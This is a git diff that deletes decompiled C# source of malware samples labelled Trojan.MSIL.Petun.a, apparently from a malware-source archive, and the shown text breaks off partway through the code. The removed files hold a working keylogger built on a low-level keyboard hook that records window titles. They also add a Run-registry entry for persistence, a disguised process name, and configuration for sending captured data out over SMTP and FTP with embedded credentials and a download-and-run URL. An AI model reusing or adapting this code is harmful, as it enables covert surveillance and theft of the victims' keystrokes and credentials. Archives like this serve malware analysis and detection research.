K_Numpad4 = 100, // 0x00000064 - K_Numpad5 = 101, // 0x00000065 - K_Numpad6 = 102, // 0x00000066 - K_Numpad7 = 103, // 0x00000067 - K_Numpad8 = 104, // 0x00000068 - K_Numpad9 = 105, // 0x00000069 - K_Num_Multiply = 106, // 0x0000006A - K_Num_Add = 107, // 0x0000006B - K_Num_Subtract = 109, // 0x0000006D - K_Num_Decimal = 110, // 0x0000006E - K_Num_Divide = 111, // 0x0000006F - K_F1 = 112, // 0x00000070 - K_F2 = 113, // 0x00000071 - K_F3 = 114, // 0x00000072 - K_F4 = 115, // 0x00000073 - K_F5 = 116, // 0x00000074 - K_F6 = 117, // 0x00000075 - K_F7 = 118, // 0x00000076 - K_F8 = 119, // 0x00000077 - K_F9 = 120, // 0x00000078 - K_F10 = 121, // 0x00000079 - K_F11 = 122, // 0x0000007A - K_F12 = 123, // 0x0000007B - K_F13 = 124, // 0x0000007C - K_F14 = 125, // 0x0000007D - K_F15 = 126, // 0x0000007E - K_F16 = 127, // 0x0000007F - K_F17 = 128, // 0x00000080 - K_F18 = 129, // 0x00000081 - K_F19 = 130, // 0x00000082 - K_F20 = 131, // 0x00000083 - K_F21 = 132, // 0x00000084 - K_F22 = 133, // 0x00000085 - K_F23 = 134, // 0x00000086 - K_F24 = 135, // 0x00000087 - K_NumLock = 144, // 0x00000090 - K_LShift = 160, // 0x000000A0 - K_RShift = 161, // 0x000000A1 - YtVaokT = 162, // 0x000000A2 - fydCUtU = 163, // 0x000000A3 - K_LAlt = 164, // 0x000000A4 - K_RAlt = 165, // 0x000000A5 - K_Subtract = 189, // 0x000000BD - K_Decimal = 190, // 0x000000BE - } - - private delegate int KeyboardHookDelegate(int Code, int wParam, ref Module1.adUtWClh lParam); -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyApplication.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyApplication.cs deleted file mode 100644 index c033089f..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyApplication.cs +++ /dev/null @@ -1,18 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyApplication -// Assembly: sostextreme, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3C2765AC-1F5A-4984-8CF4-C8C51F8C1439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.exe - -using Microsoft.VisualBasic.ApplicationServices; -using System.CodeDom.Compiler; -using System.ComponentModel; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyApplication : ApplicationBase - { - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyComputer.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyComputer.cs deleted file mode 100644 index feef84b2..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyComputer.cs +++ /dev/null @@ -1,24 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyComputer -// Assembly: sostextreme, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3C2765AC-1F5A-4984-8CF4-C8C51F8C1439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.exe - -using Microsoft.VisualBasic.Devices; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.Diagnostics; - -namespace My -{ - [EditorBrowsable(EditorBrowsableState.Never)] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal class MyComputer : Computer - { - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - public MyComputer() - { - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyProject.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyProject.cs deleted file mode 100644 index ff372469..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/My/MyProject.cs +++ /dev/null @@ -1,108 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: My.MyProject -// Assembly: sostextreme, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3C2765AC-1F5A-4984-8CF4-C8C51F8C1439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.ApplicationServices; -using Microsoft.VisualBasic.CompilerServices; -using System; -using System.CodeDom.Compiler; -using System.ComponentModel; -using System.ComponentModel.Design; -using System.Diagnostics; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; - -namespace My -{ - [HideModuleName] - [StandardModule] - [GeneratedCode("MyTemplate", "8.0.0.0")] - internal sealed class MyProject - { - private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider(); - private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider(); - - [HelpKeyword("My.Computer")] - internal static MyComputer Computer - { - [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance; - } - - [HelpKeyword("My.Application")] - internal static MyApplication Application - { - [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance; - } - - [HelpKeyword("My.User")] - internal static User User - { - [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance; - } - - [HelpKeyword("My.WebServices")] - internal static MyProject.MyWebServices WebServices - { - [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance; - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")] - internal sealed class MyWebServices - { - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o)); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override int GetHashCode() => base.GetHashCode(); - - [DebuggerHidden] - [EditorBrowsable(EditorBrowsableState.Never)] - internal new Type GetType() => typeof (MyProject.MyWebServices); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public override string ToString() => base.ToString(); - - [DebuggerHidden] - private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance; - - [DebuggerHidden] - private void Dispose__Instance__(ref T instance) => instance = default (T); - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public MyWebServices() - { - } - } - - [ComVisible(false)] - [EditorBrowsable(EditorBrowsableState.Never)] - internal sealed class ThreadSafeObjectProvider where T : new() - { - internal T GetInstance - { - [DebuggerHidden] get - { - if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null) - MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T(); - return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue; - } - } - - [EditorBrowsable(EditorBrowsableState.Never)] - [DebuggerHidden] - public ThreadSafeObjectProvider() - { - } - } - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ROS.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ROS.cs deleted file mode 100644 index cd79f44b..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/ROS.cs +++ /dev/null @@ -1,105 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: ROS -// Assembly: sostextreme, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3C2765AC-1F5A-4984-8CF4-C8C51F8C1439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Windows.Forms; - -[StandardModule] -internal sealed class ROS -{ - public static bool get_Runonstartup(string CommandLine = null, ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either) - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\NVWUZ", true); - string Right = Strings.Trim(Application.ExecutablePath + " " + CommandLine); - bool runonstartup1; - if (Criteria != ROS.StartupCheckCriteria.NameOnly) - { - string[] valueNames = registryKey.GetValueNames(); - int index = 0; - while (index < valueNames.Length) - { - string str = valueNames[index]; - if (Operators.ConditionalCompareObjectEqual(registryKey.GetValue(str), (object) Right, false)) - { - if (Operators.CompareString(str, MyProject.Application.Info.ProductName, false) != 0) - { - registryKey.DeleteValue(str); - registryKey.SetValue(Application.ProductName, (object) Right); - } - runonstartup1 = true; - break; - } - checked { ++index; } - } - } - bool runonstartup2; - if (Criteria != ROS.StartupCheckCriteria.PathOnly && ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - { - if (Operators.ConditionalCompareObjectNotEqual(registryKey.GetValue(Application.ProductName), (object) Right, false)) - registryKey.SetValue(Application.ProductName, (object) Right); - runonstartup2 = true; - } - registryKey.Close(); - switch (Criteria) - { - case ROS.StartupCheckCriteria.Either: - return runonstartup1 | runonstartup2; - case ROS.StartupCheckCriteria.PathOnly: - return runonstartup2; - case ROS.StartupCheckCriteria.NameOnly: - return runonstartup1; - case ROS.StartupCheckCriteria.Both: - return runonstartup1 & runonstartup2; - default: - return false; - } - } - - public static void set_Runonstartup( - string CommandLine = null, - ROS.StartupCheckCriteria Criteria = ROS.StartupCheckCriteria.Either, - bool value) - { - RegistryKey registryKey = Operators.CompareString(Module1.DgiPVo, "CurrentUser", false) != 0 ? Registry.LocalMachine.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true) : Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run", true); - if (value) - registryKey.SetValue(MyProject.Application.Info.ProductName, (object) Strings.Trim(Application.ExecutablePath + " " + CommandLine)); - else if (ROS.InArray((Array) registryKey.GetValueNames(), Application.ProductName)) - registryKey.DeleteValue(Application.ProductName); - registryKey.Close(); - } - - public static bool InArray(Array Arr, string Str) - { - bool flag = false; - int num1 = Information.UBound(Arr); - int num2 = 0; - while (num2 <= num1) - { - if (Operators.ConditionalCompareObjectEqual(NewLateBinding.LateIndexGet((object) Arr, new object[1] - { - (object) num2 - }, (string[]) null), (object) Str, false)) - { - flag = true; - break; - } - checked { ++num2; } - } - return flag; - } - - public enum StartupCheckCriteria - { - Either, - PathOnly, - NameOnly, - Both, - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.csproj b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.csproj deleted file mode 100644 index 58940eb1..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.csproj +++ /dev/null @@ -1,48 +0,0 @@ - - - - - Debug - AnyCPU - {6AA48216-3AAC-47EA-92D9-DEFC00701432} - WinExe - sostextreme - 0.0.0.0 - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.sln b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.sln deleted file mode 100644 index 005c0f6f..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/Trojan.MSIL.Petun.a.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "sostextreme", "Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.csproj", "{6AA48216-3AAC-47EA-92D9-DEFC00701432}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {6AA48216-3AAC-47EA-92D9-DEFC00701432}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {6AA48216-3AAC-47EA-92D9-DEFC00701432}.Debug|Any CPU.Build.0 = Debug|Any CPU - {6AA48216-3AAC-47EA-92D9-DEFC00701432}.Release|Any CPU.ActiveCfg = Release|Any CPU - {6AA48216-3AAC-47EA-92D9-DEFC00701432}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/YRYD.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/YRYD.cs deleted file mode 100644 index 0cd9df52..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e/YRYD.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: YRYD -// Assembly: sostextreme, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 3C2765AC-1F5A-4984-8CF4-C8C51F8C1439 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan.MSIL.Petun.a-03018237b1ac03e3be8783295f9ca585bdb16a023493e1738684f62fc83b999e.exe - -using System; -using System.Threading; - -internal class YRYD : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public YRYD(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/AssemblyInfo.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/BxUq.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/BxUq.cs deleted file mode 100644 index b11654b5..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/BxUq.cs +++ /dev/null @@ -1,33 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: BxUq -// Assembly: Crackloader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6985B8AB-5EF4-4F0D-8851-8F30720A8A11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.exe - -using System; -using System.Threading; - -internal class BxUq : IDisposable -{ - private readonly Mutex mMutex; - private bool _mMutexOwned; - - public BxUq(string name) - { - this.mMutex = new Mutex(false, name); - this._mMutexOwned = false; - } - - public bool IsRunning() - { - this._mMutexOwned = this.mMutex.WaitOne(0, true); - return !this._mMutexOwned; - } - - public void Dispose() - { - if (!this._mMutexOwned) - return; - this.mMutex.ReleaseMutex(); - } -} diff --git a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Module1.cs b/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Module1.cs deleted file mode 100644 index 96bdd225..00000000 --- a/MSIL/Trojan/MSIL/P/Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d/Module1.cs +++ /dev/null @@ -1,1282 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Module1 -// Assembly: Crackloader, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null -// MVID: 6985B8AB-5EF4-4F0D-8851-8F30720A8A11 -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Trojan.MSIL.Petun.a-3d9cea6fe3dcbfbe57cf89e5f744c942f32aaa4b3e48d36d3cbca16c2719773d.exe - -using Microsoft.VisualBasic; -using Microsoft.VisualBasic.CompilerServices; -using Microsoft.Win32; -using My; -using System; -using System.Diagnostics; -using System.Drawing; -using System.Drawing.Imaging; -using System.IO; -using System.Net; -using System.Net.Mail; -using System.Runtime.CompilerServices; -using System.Runtime.InteropServices; -using System.Security.Cryptography; -using System.Text; -using System.Threading; -using System.Windows.Forms; - -[StandardModule] -internal sealed class Module1 -{ - private static bool JtKORIhK = false; - private static bool wffTFgDP = false; - private static bool dDqoi = false; - private static bool cieqt = false; - private static bool ytXmF = false; - private static bool Ziihl = false; - private static string cbrvxpPeW = "10"; - private static string KwjLhfIpH = "SaF"; - private static int YwokwNcxl = 1; - private static string NsCDBGdjq = "http://projecthax.com/,"; - public static string qaILfIMaW = "CurrentUser"; - private static string QnGfGR = "QVGyGk"; - private static string ouqQhv = "PfMSltiOKK"; - private static string bdKQjr = "sbvhost.exe"; - private static string SDDate = "+SDDate+"; - private static bool TakeScrns = true; - private static string[] Message = new string[3] - { - "Sro-Db.de", - "Server Cracked.", - "64" - }; - private static string Delay = "1000"; - private static bool FRMsg = true; - private static bool NoEL = false; - private static bool SSTime = false; - private static string SSInt = "10"; - private static bool ZKRYoQPf = false; - private static string mbvlcqBj = "http://www.exampleserver.com/directfile.exe"; - private static bool cIgxKxvp = false; - private static string arsOPZwd = "setup.exe"; - private static bool DHJBaphSz = true; - private static bool KMgJObY = false; - private static string uXqWuMm = "LHs1gVoZGRA="; - private static string yqQsXVEr = "ftp.exampleserver.com"; - private static string kuBwJZov = "LHs1gVoZGRA="; - private static string LTInjjim = "/"; - private static string BcyxZHYKO = "smtp.gmail.com"; - private static string GDOftPDM = "fcg4eQpVQv8NFbM6yxrdxZ73e6zgkHeB"; - private static string YENOMRou = "xKJwZzb6bxInlXj4RJT3Vg=="; - private static string gunYGIcF = "privilegex3@hotmail.com"; - private static string FRtNrQiI = "587"; - private static string MIUkzHJS = "----["; - private static string hNIJH = "]----"; - private static bool mNMcS; - private static bool HFnbw; - private static bool bbOPp = true; - private static bool lKcnc = true; - private static bool TDOUQb = true; - private static bool oSiPVo = true; - private const int iUvSes = 257; - private const short HBTQnJ = 256; - private const int XtuEOJ = 260; - private const int CrXghf = 261; - private static IntPtr KeyboardHandle = (IntPtr) 0; - private static string LastCheckedForegroundTitle = ""; - private static Module1.KeyboardHookDelegate callback = (Module1.KeyboardHookDelegate) null; - private static string QCuCgH; - - public static string eZaYdOI - { - get => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData); - set - { - } - } - - public static string HyXBfPL - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Favorites); - set - { - } - } - - public static string IIuhJfr - { - get => Environment.GetFolderPath(Environment.SpecialFolder.Personal); - set - { - } - } - - public static string WUOgdzWuB - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System); - set - { - } - } - - public static string yPhCVPFkt - { - get => Environment.GetFolderPath(Environment.SpecialFolder.System).Replace("\\system32", ""); - set - { - } - } - - public static string LT - { - get => Environment.MachineName + " - " + DateTime.Now.ToString().Replace(" ", "-").Replace("/", "-").Replace(":", "."); - set - { - } - } - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int CallNextHookEx( - int hHook, - int nCode, - int wParam, - Module1.IFbLWcY lParam); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int uSNqsZsyH(int hHook); - - [DllImport("user32", EntryPoint = "SetWindowsHookExA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int SetWindowsHookEx( - int idHook, - Module1.KeyboardHookDelegate lpfn, - int hmod, - int dwThreadId); - - [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetAsyncKeyState(int vKey); - - [DllImport("user32.dll", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetForegroundWindow(); - - [DllImport("user32.dll", EntryPoint = "GetWindowTextA", CharSet = CharSet.Ansi, SetLastError = true)] - private static extern int GetWindowText(int hwnd, [MarshalAs(UnmanagedType.VBByRefStr)] ref string lpString, int cch); - - private static string XQXC() - { - string str; - try - { - string lpString = new string(char.MinValue, 100); - Module1.GetWindowText(Module1.GetForegroundWindow(), ref lpString, 100); - str = lpString.Substring(0, checked (Strings.InStr(lpString, "\0") - 1)); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - str = ""; - ProjectData.ClearProjectError(); - } - return str; - } - - private static object HoqLnsHRl() - { - object obj; - try - { - obj = (object) (Module1.KeyboardHandle != (IntPtr) 0); - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - obj = (object) ""; - ProjectData.ClearProjectError(); - } - return obj; - } - - public static void oZVJeULZ() - { - try - { - Module1.callback = new Module1.KeyboardHookDelegate(Module1.Zsmc); - Module1.KeyboardHandle = (IntPtr) Module1.SetWindowsHookEx(13, Module1.callback, (int) Process.GetCurrentProcess().MainModule.BaseAddress, 0); - int num = Module1.KeyboardHandle != (IntPtr) 0 ? 1 : 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static void swWwICURo() - { - try - { - if (!Conversions.ToBoolean(Module1.HoqLnsHRl()) || Module1.uSNqsZsyH((int) Module1.KeyboardHandle) == 0) - return; - Module1.KeyboardHandle = (IntPtr) 0; - } - catch (Exception ex) - { - ProjectData.SetProjectError(ex); - ProjectData.ClearProjectError(); - } - } - - public static string Idfo( - ref string strSource, - ref string strStart, - ref string strEnd, - ref int startPos = 0) - { - int length = strStart.Length; - string str = string.Empty; - int num1 = strSource.IndexOf(strStart, startPos); - int num2 = strSource.IndexOf(strEnd, checked (num1 + length)); - if (num1 != -1 && num2 != -1) - str = strSource.Substring(checked (num1 + length), checked (num2 - num1 + length)); - return str; - } - - public static int Zsmc(int Code, int wParam, ref Module1.IFbLWcY lParam) - { - int num; - try - { - object obj = (object) Module1.XQXC(); - if (Operators.ConditionalCompareObjectNotEqual(obj, (object) Module1.LastCheckedForegroundTitle, false)) - { - Module1.LastCheckedForegroundTitle = Conversions.ToString(obj); - Module1.QCuCgH = Conversions.ToString(Operators.ConcatenateObject((object) Module1.QCuCgH, Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject(Operators.ConcatenateObject((object) ("\r\n" + Module1.MIUkzHJS), obj), (object) " - "), (object) DateAndTime.Now.ToString()), (object) Module1.hNIJH), (object) "\r\n"))); - } - string Left = ""; - if (wParam == 256 | wParam == 260) - { - if (Code >= 0 && MyProject.Computer.Keyboard.CtrlKeyDown & MyProject.Computer.Keyboard.AltKeyDown & lParam.vkCode == 83) - { - num = 1; - goto label_130; - } - else - { - switch (lParam.vkCode) - { - case 8: - if (Module1.QCuCgH.EndsWith(Module1.hNIJH + "\r\n") | !Module1.lKcnc | Module1.QCuCgH.EndsWith("]")) - { - Left = "[BS]"; - break; - } - Module1.QCuCgH = Module1.QCuCgH.Remove(checked (Module1.QCuCgH.ToString().Length - 1)); - Left = ""; - break; - case 9: - Left = "\t"; - break; - case 13: - Left = "\r\n"; - break; - case 20: - if (Module1.bbOPp) - { - Module1.HFnbw = !MyProject.Computer.Keyboard.CapsLock; - break; - } - Left = !MyProject.Computer.Keyboard.CapsLock ? "[cl]" : "[/cl]"; - break; - case 27: - Left = " [esc] "; - break; - case 32: - Left = " "; - break; - case 37: - Left = "[<]"; - break; - case 38: - Left = "[^]"; - break; - case 39: - Left = "[>]"; - break; - case 40: - Left = "[V]"; - break; - case 46: - Left = " [dlt] "; - break; - case 48: - case 49: - case 50: - case 51: - case 52: - case 53: - case 54: - case 55: - case 56: - case 57: - if (Module1.mNMcS) - { - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "1", false) == 0) - { - Left = "!"; - break; - } - if (Operators.CompareString(Left, "2", false) == 0) - { - Left = "@"; - break; - } - if (Operators.CompareString(Left, "3", false) == 0) - { - Left = "#"; - break; - } - if (Operators.CompareString(Left, "4", false) == 0) - { - Left = "$"; - break; - } - if (Operators.CompareString(Left, "5", false) == 0) - { - Left = "%"; - break; - } - if (Operators.CompareString(Left, "6", false) == 0) - { - Left = "^"; - break; - } - if (Operators.CompareString(Left, "7", false) == 0) - { - Left = "&"; - break; - } - if (Operators.CompareString(Left, "8", false) == 0) - { - Left = "*"; - break; - } - if (Operators.CompareString(Left, "9", false) == 0) - { - Left = "("; - break; - } - if (Operators.CompareString(Left, "0", false) == 0) - { - Left = ")"; - break; - } - break; - } - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - break; - case 65: - case 66: - case 67: - case 68: - case 69: - case 70: - case 71: - case 72: - case 73: - case 74: - case 75: - case 76: - case 77: - case 78: - case 79: - case 80: - case 81: - case 82: - case 83: - case 84: - case 85: - case 86: - case 87: - case 88: - case 89: - case 90: - Left = !(Module1.mNMcS | Module1.HFnbw) ? Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))) : Conversions.ToString(Strings.ChrW(checked (lParam.vkCode + 32))).ToUpper(); - break; - case 96: - case 97: - case 98: - case 99: - case 100: - case 101: - case 102: - case 103: - case 104: - case 105: - Left = Conversions.ToString(Strings.ChrW(lParam.vkCode)); - if (Operators.CompareString(Left, "a", false) == 0) - Left = Conversions.ToString(1); - if (Operators.CompareString(Left, "b", false) == 0) - Left = Conversions.ToString(2); - if (Operators.CompareString(Left, "c", false) == 0) - Left = Conversions.ToString(3); - if (Operators.CompareString(Left, "d", false) == 0) - Left = Conversions.ToString(4); - if (Operators.CompareString(Left, "e", false) == 0) - Left = Conversions.ToString(5); - if (Operators.CompareString(Left, "f", false) == 0) - Left = Conversions.ToString(6); - if (Operators.CompareString(Left, "g", false) == 0) - Left = Conversions.ToString(7); - if (Operators.CompareString(Left, "h", false) == 0) - Left = Conversions.ToString(8); - if (Operators.CompareString(Left, "i", false) == 0) - Left = Conversions.ToString(9); - if (Operators.CompareString(Left, "`", false) == 0) - { - Left = Conversions.ToString(0); - break; - } - break; - case 109: - case 189: - Left = !Module1.mNMcS ? "-" : "_"; - break; - case 110: - case 190: - Left = Module1.mNMcS ? ">" : "."; - break; - case 112: - case 113: - case 114: - case 115: - case 116: - case 117: - case 118: - 